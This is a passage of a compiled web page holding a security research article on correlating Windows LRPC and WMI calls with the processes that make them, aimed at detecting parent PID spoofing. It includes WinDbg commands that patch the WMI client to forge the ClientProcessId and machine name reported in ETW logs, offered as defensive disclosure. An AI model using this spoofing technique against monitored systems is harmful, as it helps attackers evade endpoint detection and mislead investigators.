\",(0,t.jsx)(e.a,{href:\"https://en.wikipedia.org/wiki/Whac-A-Mole\",rel:\"nofollow\",children:\"one-by-one\"}),\" wasn\\u2019t going to be a viable detection approach, so last year we set out on a side quest to generically associate LRPC server actions with the requesting LRPC client process.\"]}),`\n`,(0,t.jsx)(e.h2,{id:\"detecting-lrpc-provenance\",children:\"Detecting LRPC provenance\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The majority of previous public RPC telemetry research has focused on inter-host lateral movement \\u2013 typically spawning a process on a remote host. For example: - \",(0,t.jsx)(e.a,{href:\"https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/\",rel:\"nofollow\",children:\"Lateral Movement using the MMC20.Application COM Object\"}),\"- \",(0,t.jsx)(e.a,{href:\"https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/\",rel:\"nofollow\",children:\"Lateral Movement via DCOM: Round 2\"}),\"- \",(0,t.jsx)(e.a,{href:\"https://blog.f-secure.com/endpoint-detection-of-remote-service-creation-and-psexec/\",rel:\"nofollow\",children:\"Endpoint Detection of Remote Service Creation and PsExec\"}),\" - \",(0,t.jsx)(e.a,{href:\"https://posts.specterops.io/utilizing-rpc-telemetry-7af9ea08a1d5\",rel:\"nofollow\",children:\"Utilizing RPC Telemetry\"}),\"- \",(0,t.jsx)(e.a,{href:\"https://www.elastic.co/blog/hunting-for-lateral-movement-using-event-query-language\",rel:\"nofollow\",children:\"Detecting Lateral Movement techniques with Elastic\"}),\" - \",(0,t.jsx)(e.a,{href:\"https://zeronetworks.com/blog/stopping-lateral-movement-via-the-rpc-firewall/\",rel:\"nofollow\",children:\"Stopping Lateral Movement via the RPC Firewall\"})]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The ultimate advice for defenders is typically to monitor RPC network traffic for anomalies or, better yet, to block unnecessary remote access to RPC interfaces with \",(0,t.jsx)(e.a,{href:\"https://www.akamai.com/blog/security/guide-rpc-filter\",rel:\"nofollow\",children:\"RPC Filters\"}),\" (part of the \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/fwp/\",rel:\"nofollow\",children:\"Windows Filtering Platform\"}),\") or specific RPC methods with 3rd party tooling like \",(0,t.jsx)(e.a,{href:\"https://github.com/zeronetworks/rpcfirewall\",rel:\"nofollow\",children:\"RPC Firewall\"}),\".\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Unfortunately these approaches don\\u2019t work when the adversary uses RPC to spawn a process elsewhere on the same host. In this case, the RPC transport is typically \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/etw/alpc\",rel:\"nofollow\",children:\"ALPC\"}),\" - monitoring and filtering at the network layer does not then apply.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"On the host, detection engineers typically look to leverage telemetry from the inbuilt Event Tracing (including EventLog) in the first instance. If this proves insufficient, then they can investigate custom approaches such as user-mode function hooking or mini-filter drivers.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"In the RPC case, \",(0,t.jsx)(e.a,{href:\"https://github.com/jdu2600/Windows10EtwEvents/blob/master/manifest/Microsoft-Windows-RPC.tsv\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"Microsoft-Windows-RPC\"})}),\" ETW events are very useful for identifying anomalous behaviours.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Especially: - Event 5 - \",(0,t.jsx)(e.code,{children:\"RpcClientCallStart\"}),\" (GUID InterfaceUuid, UInt32 ProcNum, UInt32 Protocol, UnicodeString NetworkAddress, UnicodeString Endpoint, UnicodeString Options, UInt32 AuthenticationLevel, UInt32 AuthenticationService, UInt32 ImpersonationLevel) - Event 6 - \",(0,t.jsx)(e.code,{children:\"RpcServerCallStart\"}),\" (GUID InterfaceUuid, UInt32 ProcNum, UInt32 Protocol, UnicodeString NetworkAddress, UnicodeString Endpoint, UnicodeString Options, UInt32 AuthenticationLevel, UInt32 AuthenticationService, UInt32 ImpersonationLevel)\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Additionally, \",(0,t.jsx)(e.code,{children:\"RpcClientCallStart\"}),\" is generated by the client and \",(0,t.jsx)(e.code,{children:\"RpcServerCallStart\"}),\" by the server so the ETW headers will provide the client and server process ids respectively. Further, there is a 1:1 mapping between endpoint addresses and server process ids. So the server process can be inferred from the \",(0,t.jsx)(e.code,{children:\"RpcClientCallStart\"}),\" event.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The RPC interface UUID and Procedure number combined with the caller details are (usually) sufficient to identify intent. For example, RPC interface UUID \",(0,t.jsx)(e.code,{children:\"{367ABB81\\u20139844\\u201335F1-AD32\\u201398F038001003}\"}),\" is the Service Control Manager Remote Protocol which exposes the ability to configure Windows services. The 12th procedure in this interface is \",(0,t.jsx)(e.code,{children:\"RCreateServiceW\"}),\" which notoriously is the method that PsExec uses to execute processes on remote systems.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"For endpoint security vendors, however, there are a few issues to address before scalable robust \",(0,t.jsx)(e.code,{children:\"Microsoft-Windows-RPC\"}),\" detections would be possible: 1. RPC event volumes are significant 2. There isn't an obvious mechanism to strongly correlate a client call with the resultant server call 3. There isn\\u2019t an obvious mechanism to strongly correlate a server call with the resultant server behavior\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Let\\u2019s address these three issues one by one.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"lrpc-event-volumes\",children:\"LRPC event volumes\"}),`\n`,(0,t.jsx)(e.p,{children:\"There are thousands of LRPC events each second \\u2013 and most of them are uninteresting. To address the LRPC event volume concern, we could limit the events to just those RPC events that are inter-process (including inter-host). However, this immediately leads to the second concern. We need to identify the client of each server call in order to reduce event volumes down to just those which are inter-process.\"}),`\n`,(0,t.jsx)(e.h3,{id:\"correlating-rpc-server-calls-with-their-clients\",children:\"Correlating RPC server calls with their clients\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/effective-parenting-detecting-lrpc-based-parent-pid-spoofing/image7.jpg\",alt:\"Annotated MSDN RPC architecture\",width:\"1440\",height:\"840\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Modern Windows RPC has roughly three \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rpce/472083a9-56f1-4d81-a208-d18aef68c101\",rel:\"nofollow\",children:\"transports\"}),\": - TCP/IP (nacn_ip_tcp, nacn_http, ncadg_ip_udp and nacn_np over SMB) - inter-process Named Pipes (direct nacn_np) - inter-process ALPC (ncalrpc)\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The \",(0,t.jsx)(e.code,{children:\"RpcServerCallStart\"}),\" event alone is not sufficient to determine if the call was inter-process. It needs to be correlated against a preceding \",(0,t.jsx)(e.code,{children:\"RpcCientCallStart\"}),\" event, and \",(0,t.jsx)(e.a,{href:\"https://stackoverflow.com/questions/41504738/how-to-correlate-rpc-calls-in-etw-traces\",rel:\"nofollow\",children:\"this correlation\"}),\" is unfortunately weak. At best you can identify a pair of \",(0,t.jsx)(e.code,{children:\"RpcServerCall\"}),\" start/stop events that are bracketed by a pair of \",(0,t.jsx)(e.code,{children:\"RpcClientCall\"}),\" events with the same parameters. (Note - for performance reasons, ETW events generated from different threads may arrive out of order). This means that you need to maintain a holistic RPC state - which creates an on-host storage and processing volume concern in order to address the event volume concern.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"More importantly though, the \",(0,t.jsx)(e.code,{children:\"RpcClientCallStart\"}),\" events are generated in the client process where an adversary has already achieved execution and therefore can be \",(0,t.jsx)(e.a,{href:\"https://twitter.com/dez_/status/938074904666271744\",rel:\"nofollow\",children:\"intercepted with very little effort\"}),\". There is little point to implementing a detection for something so trivial to circumvent, especially when there are more effective options.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Ideally, the RPC server would access the client details and directly log this information. Unfortunately, the ETW events don\\u2019t include this information - which is not surprising since one of the RPC design goals was simplification through abstraction. The RPC runtime (allegedly) can be configured via Group Policy to do exactly this, though. It can store \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/enabling-rpc-state-information\",rel:\"nofollow\",children:\"RPC State Information\"}),\" which can then be used during debugging to \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows-hardware/drivers/debugger/identifying-the-caller-from-the-server-thread\",rel:\"nofollow\",children:\"identify the client caller from the server thread\"}),\". Unfortunately the Windows XP era documentation didn\\u2019t immediately work for Windows 10.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"It did provide a rough outline describing how to address the first two problems: reducing event volumes and correlating server calls to client processes. It is possible to hook the RPC runtime in all RPC servers, account for the various transports, and then log or filter inter-process RPC events only. (This is likely akin to how \",(0,t.jsx)(e.a,{href:\"https://github.com/zeronetworks/rpcfirewall\",rel:\"nofollow\",children:\"RPC Firewall\"}),\"handles network RPC - just with local endpoints).\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"correlating-rpc-server-calls-and-resultant-behavior\",children:\"Correlating RPC server calls and resultant behavior\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"The next problem was how to correctly attribute a specific server call to the resultant server behaviour. On a busy server, how could we tie an opaque call to the \",(0,t.jsx)(e.code,{children:\"ExecuteShellCommand\"}),\" method to a specific process creation event? And what if the call came from script-based malware and was further wrapped under a method like \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/oaidl/nf-oaidl-idispatch-invoke\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"IDispatch::Invoke\"})}),\"?\"]}),`\n`,(0,t.jsx)(e.p,{children:\"We didn\\u2019t want to have to inspect the RPC parameter blob and individually implement parsing support for each abusable RPC method.\"}),`\n`,(0,t.jsx)(e.h4,{id:\"introducing-etws-activityid\",children:\"Introducing ETW\\u2019s ActivityId\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Thankfully, Microsoft had already thought of this scenario and \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/archive/msdn-magazine/2007/april/event-tracing-improve-debugging-and-performance-tuning-with-etw\",rel:\"nofollow\",children:\"provides ETW tracing guidance\"}),\" to developers.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/effective-parenting-detecting-lrpc-based-parent-pid-spoofing/image17.png\",alt:\"Annotated MSDN documentation for EventWriteEx\",width:\"1440\",height:\"944\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"They suggest that developers generate and propagate a unique 128-bit \",(0,t.jsx)(e.code,{children:\"ActivityId\"}),\" between related ETW events to enable end-to-end tracing scenarios. This is typically handled automatically by ETW for events generated on the same thread as the value is stored in thread local storage. However, the developer must manually propagate this ID to related activities performed by other threads\\u2026 or processes. As long as the RPC Runtime and all Microsoft RPC servers had followed ETW tracing best practices, we should finally have the end-to-end correlation we want!\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"It was time to break out a decompiler (we like Ghidra but there are many options) and inspect rpcrt4.dll. By looking at the first parameter passed to \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/api/evntprov/nf-evntprov-eventregister\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"EventRegister\"})}),\" calls, we can see that there are three ETW GUIDs in the RPC runtime. These GUIDs are defined in a contiguous block and helpfully came with public symbols.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/effective-parenting-detecting-lrpc-based-parent-pid-spoofing/image5.jpg\",alt:\"\",width:\"1440\",height:\"465\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"These GUIDs correspond to \",(0,t.jsx)(e.a,{href:\"https://github.com/jdu2600/Windows10EtwEvents/blob/086d88e58d6e063868ec62a10f9e1b33e8694735/manifest/Microsoft-Windows-RPC.tsv\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"Microsoft-Windows-RPC\"})}),\", \",(0,t.jsx)(e.a,{href:\"https://github.com/jdu2600/Windows10EtwEvents/blob/086d88e58d6e063868ec62a10f9e1b33e8694735/manifest/Microsoft-Windows-Networking-Correlation.tsv\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"Microsoft-Windows-Networking-Correlation\"})}),\" and \",(0,t.jsx)(e.a,{href:\"https://github.com/jdu2600/Windows10EtwEvents/blob/086d88e58d6e063868ec62a10f9e1b33e8694735/manifest/Microsoft-Windows-RPC-Events.tsv\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"Microsoft-Windows-RPC-Events\"})}),\" respectively. Further, the RPC runtime helpfully wraps calls to \",(0,t.jsx)(e.code,{children:\"EventWrite\"}),\" in just two places.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The first call is in \",(0,t.jsx)(e.code,{children:\"McGenEventWrite\\\\_EtwEventWriteTransfer\"}),\" and looks like this:\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:\"`EtwEventWriteTransfer` (RegHandle, EventDescriptor, NULL, NULL, UserDataCount, UserData);\\n\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The NULL parameters mean that \",(0,t.jsx)(e.code,{children:\"ActivityId\"}),\" will always be the configured per-thread \",(0,t.jsx)(e.code,{children:\"ActivityId\"}),\" and \",(0,t.jsx)(e.code,{children:\"RelatedActivityId\"}),\" will always be excluded in events logged by this code path.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"The second call is in \",(0,t.jsx)(e.code,{children:\"EtwEx\\\\_tidActivityInfoTransfer\"}),\" and looks like this:\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:\"`EtwEventWriteTransfer` (Microsoft_Windows_Networking_CorrelationHandle, EventDescriptor, ActivityId, RelatedActivityId, UserDataCount, UserData);\\n\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"This means that \",(0,t.jsx)(e.code,{children:\"RelatedActivityId\"}),\" will only ever be logged in \",(0,t.jsx)(e.code,{children:\"Microsoft-Windows-Networking-Correlation\"}),\" events. RPC Runtime \",(0,t.jsx)(e.code,{children:\"ActivityId\"}),\" s are (predominantly) created within a helper function that ensures that this correlation is always logged.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/effective-parenting-detecting-lrpc-based-parent-pid-spoofing/image14.jpg\",alt:\"Ghidra decompilation for RPC ActivityId creation\",width:\"1239\",height:\"585\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Decompilation also revealed that the RPC runtime allocates ETW \",(0,t.jsx)(e.code,{children:\"ActivityId\"}),\" s by calling \",(0,t.jsx)(e.code,{children:\"UuidCreate\"}),\" , which generates a random 128-bit value. This is done in locations such as \",(0,t.jsx)(e.code,{children:\"NdrAysncClientCall\"}),\" and \",(0,t.jsx)(e.code,{children:\"HandleRequest\"}),\". In other words, the client and server both individually allocate \",(0,t.jsx)(e.code,{children:\"ActivityId\"}),\" s. This isn\\u2019t unsurprising because the DCE/RPC specification doesn\\u2019t seem to include a transaction id or similar construct which would allow the client to propagate an ActivityId to the server. That\\u2019s okay though: we\\u2019re only currently missing the correlation between server call and the resultant behaviour. Also we don\\u2019t want to trust any potentially tainted client-supplied information.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"So now we know exactly how RPC intends to correlate activities triggered by RPC calls- by setting the per-thread ETW \",(0,t.jsx)(e.code,{children:\"ActivityId\"}),\" and by logging RPC ActivityId correlations to \",(0,t.jsx)(e.code,{children:\"Microsoft-Windows-Networking-Correlation\"}),\". The next question is whether the Microsoft RPC interfaces that support dual-purpose activities, such as process spawning, propagate the \",(0,t.jsx)(e.code,{children:\"ActivityId\"}),\" appropriately.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"We looked at the execution traces for the four indirect process creation examples from our initial case study. In each one, the RPC request was received on one thread, a second thread handled the request and a third thread spawned the process. Other than the timing, there appeared to be no possible mechanism to link the activities.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Unfortunately, while the RPC subsystem is well behaved, most RPC servers aren't \\u2013 though this likely isn't entirely their fault. The \",(0,t.jsx)(e.code,{children:\"ActivityId\"}),\" is only preserved per-thread so if the server uses a worker thread pool (as per Microsoft\\u2019s \",(0,t.jsx)(e.a,{href:\"https://learn.microsoft.com/en-us/windows/win32/rpc/scalability\",rel:\"nofollow\",children:\"RPC scalability\"}),\" advice) then the causality correlation is implicitly broken.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"Further, kernel ETW events seem to universally log an \",(0,t.jsx)(e.code,{children:\"ActivityId\"}),\" of \",(0,t.jsx)(e.code,{children:\"{00000000-0000-0000-0000-000000000000}\"}),\" \\u2013 even when the thread has a (user-mode) \",(0,t.jsx)(e.code,{children:\"ActivityId\"}),\" configured. It is likely that the kernel implementation of \",(0,t.jsx)(e.code,{children:\"EtwWriteEvent\"}),\" simply does not query the \",(0,t.jsx)(e.code,{children:\"ActivityId\"}),\" which is stored in user-mode thread local storage.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"This observation about kernel events is a showstopper for a generic approach based around ETW. Almost all of the interesting resultant server behaviors (process, registry, file etc) are logged by kernel ETW events.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"A new approach was necessary. It isn\\u2019t scalable to investigate individual ETW providers in dual-purpose RPC servers. (Though the \",(0,t.jsx)(e.code,{children:\"Microsoft.Windows.ShellExecute\"}),\" TraceLogging provider looked interesting). What would Microsoft do?\"]}),`\n`,(0,t.jsx)(e.h3,{id:\"what-would-microsoft-do\",children:\"What would Microsoft do?\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"More specifically, how does Microsoft populate the \",(0,t.jsx)(e.code,{children:\"ClientProcessId\"}),\" in the \",(0,t.jsx)(e.code,{children:\"Microsoft-Windows-WMI-Activity\"}),\" ETW event 23 (aka \",(0,t.jsx)(e.code,{children:\"Win32\\\\_Process::Create\"}),\" )?\"]}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:\"`task_023` (UnicodeString CorrelationId, UInt32 GroupOperationId, UInt32 OperationId, UnicodeString Commandline, UInt32 CreatedProcessId, UInt64 CreatedProcessCreationTime, UnicodeString ClientMachine, UnicodeString ClientMachineFQDN, UnicodeString User, UInt32 ClientProcessId, UInt64 ClientProcessCreationTime, Boolean IsLocal)\\n\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Unlike RPC, WMI natively supports end-to-end tracing via a \",(0,t.jsx)(e.code,{children:\"CorrelationId\"}),\" which is a GUID that the WMI client passes to the server at the WMI layer so that WMI operations can be associated. However, for security use cases, we shouldn\\u2019t blindly trust client-supplied information for reasons previously mentioned.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"But how was Microsoft determining the process id to log and was their approach something that could be replicated for other RPC Servers \\u2013 possibly via an RPC server runtime hook?\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"We needed to find out where the data in that field came from. ETW conveniently provides the ability to record a stack trace when an event is generated and the \",(0,t.jsx)(e.a,{href:\"https://github.com/pathtofile/Sealighter\",rel:\"nofollow\",children:\"Sealighter\"}),\" tool conveniently exposes this capability. Sealighter illustrates which specific ETW Write function is being called from which process.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"In this case, the event was actually being written by \",(0,t.jsx)(e.code,{children:\"ntdll!EtwEventWrite\"}),\" in the WMI Core Service (svchost.exe -k netsvcs -p -s Winmgmt) \\u2013 not in the WMI Provider Host (WmiPrvSE.exe).\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/effective-parenting-detecting-lrpc-based-parent-pid-spoofing/image9.jpg\",alt:\"\",width:\"1239\",height:\"435\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"Putting a breakpoint on \",(0,t.jsx)(e.code,{children:\"PublishWin32ProcessCreation\"}),\" , we see via parameter value inspection that the \",(0,t.jsx)(e.code,{children:\"ClientProcessId\"}),\" is passed (on the stack) as the 10th parameter. We can then look at \",(0,t.jsx)(e.code,{children:\"InspectWin32ProcessCreateExecution\"}),\" to determine how the value that is passed in is determined.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"A roughly tidied Ghidra decompilation of \",(0,t.jsx)(e.code,{children:\"InspectWin32ProcessCreateExecution\"}),\" might resemble this:\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/effective-parenting-detecting-lrpc-based-parent-pid-spoofing/image1.jpg\",alt:\"\",width:\"1241\",height:\"1235\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"We can see that the client process id comes from the \",(0,t.jsx)(e.code,{children:\"CWbemNamespace\"}),\" object. Searching for reference to this structure field, we find that it is only set in \",(0,t.jsx)(e.code,{children:\"CWbemNamespace::Initialize\"}),\". Our earlier stack trace started in \",(0,t.jsx)(e.code,{children:\"wbemcore!CCoreQueue\"}),\" and this initialization appears to have occurred prior to queuing. So we could statically search for all locations where the initialization occurs or dynamically observe the actual code paths taken.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"We know that this activity is being initiated over RPC, so one approach would be to place breakpoints on RPC send/receive functions in the client and server. An alternative might be to fire up Wireshark and examine the packet capture of the entire interaction when it occurs in cleartext over the network. We learned somewhat late in our research that Microsoft had excellent documentation for the \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-wmi/1106e73c-9a7c-4e25-9216-0a5d8e581d62\",rel:\"nofollow\",children:\"WMI Protocol Initialization\"}),\" that explained much of this and might have saved a little time.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"We took the first approach. The second parameter to \",(0,t.jsx)(e.code,{children:\"InspectWin32ProcessCreateExecution\"}),\" is an \",(0,t.jsx)(e.a,{href:\"https://docs.microsoft.com/en-us/windows/win32/api/wbemcli/nn-wbemcli-iwbemcontext\",rel:\"nofollow\",children:(0,t.jsx)(e.code,{children:\"IWbemContext\"})}),\" \\u2013 which allows the caller to provide additional information to providers. This is how the parameters to \",(0,t.jsx)(e.code,{children:\"Win32\\\\_Process::Create\"}),\" are being passed. What if the first parameter was related to the WMI Client passing additional context to the WMI Core?\"]}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:\"IWbemLevel1Login::NTLMLogin\"}),\" stood out in the call traces as a good place to start looking.\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/effective-parenting-detecting-lrpc-based-parent-pid-spoofing/image24.jpg\",alt:\"\",width:\"1440\",height:\"575\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"And right next to its COM interface UUID was IWbemLoginClientID[Ex] which had a very interesting \",(0,t.jsx)(e.code,{children:\"SetClientInfo\"}),\" call, which was documented on MSDN:\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/effective-parenting-detecting-lrpc-based-parent-pid-spoofing/image2.jpg\",alt:\"\",width:\"1251\",height:\"659\"})}),`\n`,(0,t.jsxs)(e.p,{children:[\"The WMI client calls \",(0,t.jsx)(e.code,{children:\"wbemprox!SetClientIdentity\"}),\" which looks roughly like this:\"]}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/effective-parenting-detecting-lrpc-based-parent-pid-spoofing/image18.jpg\",alt:\"\",width:\"1245\",height:\"1009\"})}),`\n`,(0,t.jsxs)(e.p,{children:[(0,t.jsx)(e.code,{children:\"IWbemLoginClientIDEx\"}),\" is currently undocumented, but we can infer the parameters from the values passed.\"]}),`\n`,(0,t.jsxs)(e.p,{children:[\"At this point, it looks like the client process is passing \",(0,t.jsx)(e.code,{children:\"ClientMachineName\"}),\" , \",(0,t.jsx)(e.code,{children:\"ClientMachineFQDN\"}),\" , \",(0,t.jsx)(e.code,{children:\"ClientProcessId\"}),\" and \",(0,t.jsx)(e.code,{children:\"ClientProcessCreationTime\"}),\" to the WMI Core. We can confirm this by changing the values and seeing if the ETW event logged by the WMI Core changes.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"Using WinDbg, we set up a couple quick patches to the WMI client process and then spawned a process via WMI:\"}),`\n`,(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{children:`windbg\u003e bp wbemprox!SetClientIdentity+0xff \"eu @rdx \\\\\"SPOOFED....\\\\\"; gc\"\nwindbg\u003e bp wbemprox!SetClientIdentity+0x1c4 \"r r9=0n1337; eu @r8 \\\\\"SPOOFED.COM\\\\\"; gc\"\nPS\u003e ([wmiclass]\"ROOT\\\\CIMv2:Win32_Process\").Create(\"calc.exe\")\n`})}),`\n`,(0,t.jsx)(e.p,{children:\"Using SilkETW (or another ETW capture mechanism), we see the following event from the server process:\"}),`\n`,(0,t.jsx)(e.p,{children:(0,t.jsx)(e.img,{src:\"/assets/images/effective-parenting-detecting-lrpc-based-parent-pid-spoofing/image12.jpg\",alt:\"\",width:\"1247\",height:\"887\"})}),`\n`,(0,t.jsx)(e.p,{children:\"The server is blindly reporting the values provided by the client. This means that this event cannot be relied upon for un-breaking WMI process provenance trees as the adversary can control the client process id. Falsely reporting this information would be an interesting defense evasion, and a tough one to identify reliably.\"}),`\n`,(0,t.jsxs)(e.p,{children:[\"Further, a remote adversary can actually pass in a \",(0,t.jsx)(e.code,{children:\"ClientMachine\"}),\" name equal to the local hostname and this WMI event will mistakenly log IsLocal as true. (See the earlier decompilation of \",(0,t.jsx)(e.code,{children:\"InspectWin32ProcessCreateExecution\"}),\" ). This will make the event seem like a suspicious local execution rather than lateral movement, and represents another defence evasion opportunity.\"]}),`\n`,(0,t.jsx)(e.p,{children:\"So, this isn\\u2019t an approach that other RPC servers should follow after all.\"}),`\n`,(0,t.jsx)(e.h2,{id:\"conclusion\",children:\"Conclusion\"}),`\n`,(0,t.jsx)(e.p,{children:\"In trying to generically solve LRPC provenance, we unfortunately demonstrate that the one existing LRPC provenance data point is unreliable. This has been reported to Microsoft where it was assessed as a next-version candidate bug that will be evaluated for future releases.\"}),`\n`,(0,t.jsx)(e.p,{children:\"Our fervent hope is that the ultimate solution involves the creation of a documented API that allows a server LRPC thread to determine the client thread of a connection. This would provide endpoint security products with a reliable mechanism to identify operations being proxied through LRPC calls in an attempt to hide their origin.\"}),`\n`,(0,t.jsx)(e.p,{children:\"More generally though, this research highlights the need for defenders to have a detailed understanding of data provenance. It is necessary but not sufficient to know that the data was logged by a trustworthy source such as the kernel or a server process. In addition, you must also understand whether the data was intrinsic to the event or provided by a potentially untrustworthy client. Otherwise adversaries will exploit the gaps.\"})]})}function C(i={}){let{wrapper:e}=i.components||{};return e?(0,t.jsx)(e,Object.assign({},i,{children:(0,t.jsx)(d,i)})):d(i)}var P=C;return y(I);})();\n;return Component;"},"_id":"articles/effective-parenting-detecting-lrpc-based-parent-pid-spoofing.mdx","_raw":{"sourceFilePath":"articles/effective-parenting-detecting-lrpc-based-parent-pid-spoofing.mdx","sourceFileName":"effective-parenting-detecting-lrpc-based-parent-pid-spoofing.mdx","sourceFileDir":"articles","contentType":"mdx","flattenedPath":"articles/effective-parenting-detecting-lrpc-based-parent-pid-spoofing"},"type":"Article","imageUrl":"/assets/images/effective-parenting-detecting-lrpc-based-parent-pid-spoofing/blog-thumb-sorting-colors.jpg","readingTime":"17 min read","series":"","url":"/effective-parenting-detecting-lrpc-based-parent-pid-spoofing","headings":[{"level":2,"title":"A Brief History of Child Process Evasion","href":"#a-brief-history-of-child-process-evasion"},{"level":2,"title":"Detecting LRPC provenance","href":"#detecting-lrpc-provenance"},{"level":3,"title":"LRPC event volumes","href":"#lrpc-event-volumes"},{"level":3,"title":"Correlating RPC server calls with their clients","href":"#correlating-rpc-server-calls-with-their-clients"},{"level":3,"title":"Correlating RPC server calls and resultant behavior","href":"#correlating-rpc-server-calls-and-resultant-behavior"},{"level":4,"title":"Introducing ETW’s ActivityId","href":"#introducing-etws-activityid"},{"level":3,"title":"What would Microsoft do?","href":"#what-would-microsoft-do"},{"level":2,"title":"Conclusion","href":"#conclusion"}],"author":[{"title":"John Uhlmann","slug":"john-uhlmann","description":"Principal Security Research Engineer, Elastic","image":"john-uhlmann.jpg","body":{"raw":"","code":"var Component=(()=\u003e{var l=Object.create;var o=Object.defineProperty;var h=Object.getOwnPropertyDescriptor;var g=Object.getOwnPropertyNames;var j=Object.getPrototypeOf,x=Object.prototype.hasOwnProperty;var p=(n,t)=\u003e()=\u003e(t||n((t={exports:{}}).exports,t),t.exports),f=(n,t)=\u003e{for(var e in t)o(n,e,{get:t[e],enumerable:!0})},c=(n,t,e,i)=\u003e{if(t\u0026\u0026typeof t==\"object\"||typeof t==\"function\")for(let a of g(t))!x.call(n,a)\u0026\u0026a!==e\u0026\u0026o(n,a,{get:()=\u003et[a],enumerable:!(i=h(t,a))||i.enumerable});return n};var _=(n,t,e)=\u003e(e=n!=null?l(j(n)):{},c(t||!n||!n.__esModule?o(e,\"default\",{value:n,enumerable:!0}):e,n)),d=n=\u003ec(o({},\"__esModule\",{value:!0}),n);var m=p((F,s)=\u003e{s.exports=_jsx_runtime});var D={};f(D,{default:()=\u003eC,frontmatter:()=\u003eM});var r=_(m()),M={title:\"John Uhlmann\",description:\"Principal Security Research Engineer, Elastic\",slug:\"john-uhlmann\",image:\"john-uhlmann.jpg\"};function u(n){return(0,r.jsx)(r.Fragment,{})}function y(n={}){let{wrapper:t}=n.components||{};return t?(0,r.jsx)(t,Object.assign({},n,{children:(0,r.jsx)(u,n)})):u(n)}var C=y;return d(D);})();\n;return 